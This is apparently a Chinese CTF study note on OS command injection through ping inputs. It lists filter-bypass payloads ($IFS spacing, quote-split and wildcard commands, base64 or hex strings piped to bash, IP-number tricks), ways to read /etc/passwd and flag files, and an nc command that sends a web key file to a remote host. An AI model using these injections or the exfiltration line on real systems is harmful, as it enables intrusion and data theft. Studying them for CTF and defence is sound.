REC中的命令执行Ping原理容易理解,但是姿势点众多
例题

例如我们原本的Payload:127.0.0.1;cat flag.txt
对于这个payload,有这么几种过滤方法:

  1. 过滤用分号;
  2. 过滤空格
  3. 过滤关键字cat,flag
  4. 过滤反斜杠 /

绕过空格

plaintext
1
2
3
4
5
6
7
8
$IFS$9、 ${IFS}、%09(tab)、$IFS、< 、<>、%20(space)、$IFS$1 
cat$IFS$9flag 优先尝试,成功率高
cat${IFS}flag
cat%09flag
cat%20flag
cat<flag
cat<>flag
{cat,flag}

kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

IFS是linux中的一个环境变量IFS(Internal Field Separator)
是Linux存在的环境变量,是内部字段分隔符
9表示当前系统shell进程的第九个参数,通常是一个空字符
所以前面的“IFS”可以改为 “$IFS$9” 。同理也可以加一个{}固定变量名。

简单绕过 cat

/bin/c?t flag
c'a't flag
c''at flag
c""at flag
c\at flag

通配符 ? *

在Linux中
? 问号可以代替任意一个字符
* 星号可以代替多个字符
cat /fla?
cat /fl*
/bin/c?t /flag

内联执行 `

plaintext
1
cat `ls`

反引号可以将ls列出的内容全部cat输出一遍
初级的CTF比赛基本上都能用

权限提升

r:Read 读 4
w:Write 写 2
x:eXecute 执行 1
Linux有组别

chmod +777 /filename

代替命令

命令 效果
cat 由第一行开始显示内容,并将所有内容输出
tac 与cat相反,从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
vi 一种编辑器,这个也可以查看
vim 一种编辑器,这个也可以查看
sort 可以查看
uniq 可以查看
ls 查看目录
dir 查看目录

命令分隔符

linux中:%0a 、%0d(回车) 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

拼接

拼接flag 127.0.0.1;a=fl;b=ag.php;cat $a$b
有的题源码中过滤flag的方式可能是*f*l*a*g的方式过滤的
在这里插入图片描述

这种情况改变一下顺序,或者只用一个变量就可以:
127.0.0.1;a=ag.php;b=fl;cat $b$a
127.0.0.1;a=g;cat fla$a.php

编码

base64:
echo YWJjZGU=|base64 -d //打印出来abcde
echo Y2F0IGZsYWcucGhw|base64 -d|bash //cat flag.php
echo Y2F0IGZsYWcucGhw|base64 -d|sh //cat flag.php
hex:
echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.php
oct:
$(printf “\154\163”) //ls
$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php 但这种方法因为过滤的原因这这个题上无法实现。

网络地址转化为数字地址

网络地址有另外一种表示形式,就是数字地址比如 127.0.0.1 可以转化为
2130706433
可以直接访问
http://2130706433 或者
http://0x7F000001
这样就可以绕过.的 ip 过滤,这里给个转化网址:
数字转IP地址 IP地址转数字 域名转数字IP

Linux花式读取文件内容(拓展)

目标是获取flag.txt的内容

plaintext
1
2
3
4
curl读取文件: 
curl file:///home/coffee/flag
curl file:///flag
file只能跟绝对路径!!
plaintext
1
2
3
4
static-sh读取文件: 
static-sh ./flag.txt
#输出结果:
./flag.txt: line 1: flag{this_is_a_test}: not found
plaintext
1
2
3
4
5
6
7
8
paste读取文件: 
paste ./flag.txt /etc/passwd
#输出结果:
flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
plaintext
1
2
3
4
5
6
7
8
9
10
11
12
diff读取文件 : 
diff flag.txt /etc/passwd
#输出结果:
1c1,45
< flag{this_is_a_test}
\ No newline at end of file
---
> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
plaintext
1
2
3
4
5
6
7
od读取文件 
-a自动解码
od -a ./flag.txt
#输出结果:
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024
plaintext
1
2
3
4
5
6
7
8
9
10
bzmore读取文件: 
bzmore ./flag.txt
#输出结果:
------> ./flag.txt <------ flag{this_is_a_test}

bzless读取文件:
bzless ./flag.txt
echo `bzless ./flag.txt`
#输出结果:
------> ./flag.txt <------ flag{this_is_a_test}
plaintext
1
2
3
4
nc 传输文件靶机: 
nc 10.10.10.10 4444 < /var/www/html/key.php
接受机:
nc -l 4444 > key.txt
plaintext
1
2
wget wget url -P 
path